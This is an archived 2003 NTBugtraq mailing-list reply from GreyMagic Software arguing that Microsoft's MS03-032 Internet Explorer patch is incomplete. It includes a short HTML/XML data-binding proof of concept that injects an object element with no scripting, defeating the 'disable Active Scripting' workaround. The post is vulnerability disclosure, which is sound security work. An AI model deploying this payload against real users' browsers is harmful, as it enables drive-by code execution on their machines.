Re: BAD NEWS: Microsoft Security Bulletin MS03-032

From: GreyMagic Software (security_at_GREYMAGIC.COM)
Date: 09/08/03

  • Next message: Russ: "Alert: Microsoft Security Bulletin - MS03-039" 
    Date:         Mon, 8 Sep 2003 16:52:12 +0200
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

    >The patch for Drew's object data=funky.hta doesn't work:

    This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
    explains the problem in detail. Microsoft again patches the object element
    in HTML, but it doesn't patch the dynamic version of that same element.

    >1. Disable Active Scripting

    This actually means that no scripting is needed at all in order to exploit
    this amazingly critical vulnerability:

    <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
    <xml id="oExec">
        <security>
            <exploit>
                <![CDATA[
                <object data=x.asp></object>
                ]]>
            </exploit>
        </security>
    </xml>

    Ouch.

    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    Are You "Certifiable"? Summer's Hottest Certification Just Got HOTTER!

    With a growth rate exceeding 110%, the TICSA security practitioner
    certification is one of the hottest IT credentials available. And now, for
    a limited time, you can save 33% off of the TICSA certification exam! To
    learn more about the TICSA certification, and to register as a TICSA
    candidate online, just go to

    http://www.trusecure.com/offer/s0100/

    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

  • Next message: Russ: "Alert: Microsoft Security Bulletin - MS03-039"

    Relevant Pages

    • Re: Alert: Microsoft Security Bulletin - MS03-039
      ... The way that Microsoft patched the new RPC Part II vulnerability ... Summer's Hottest Certification Just Got HOTTER! ... To learn more about the TICSA certification, ...
      (NT-Bugtraq)
    • WHERE ARE NT4 OLD PASSWORDS STORED
      ... Sorry if this bores many of you (being an NT4 question), ... Summer's Hottest Certification Just Got HOTTER! ... you can save 33% off of the TICSA certification exam! ...
      (NT-Bugtraq)
    • Firewalls and DCOM
      ... Never underestimate the lengths to which your users will inadvertently go through to infect a network;)" ... Summer's Hottest Certification Just Got HOTTER! ... you can save 33% off of the TICSA certification exam! ...
      (NT-Bugtraq)
    • DCOM worm analysis report: W32.Blaster.Worm
      ... A Bugtraq user has already pointed out that a worm has been ... Summer's Hottest Certification Just Got HOTTER! ... you can save 33% off of the TICSA certification exam! ...
      (NT-Bugtraq)
    • Something changing DNS server settings
      ... When I looked in the registry of one of the affected computers, ... Summer's Hottest Certification Just Got HOTTER! ... you can save 33% off of the TICSA certification exam! ...
      (NT-Bugtraq)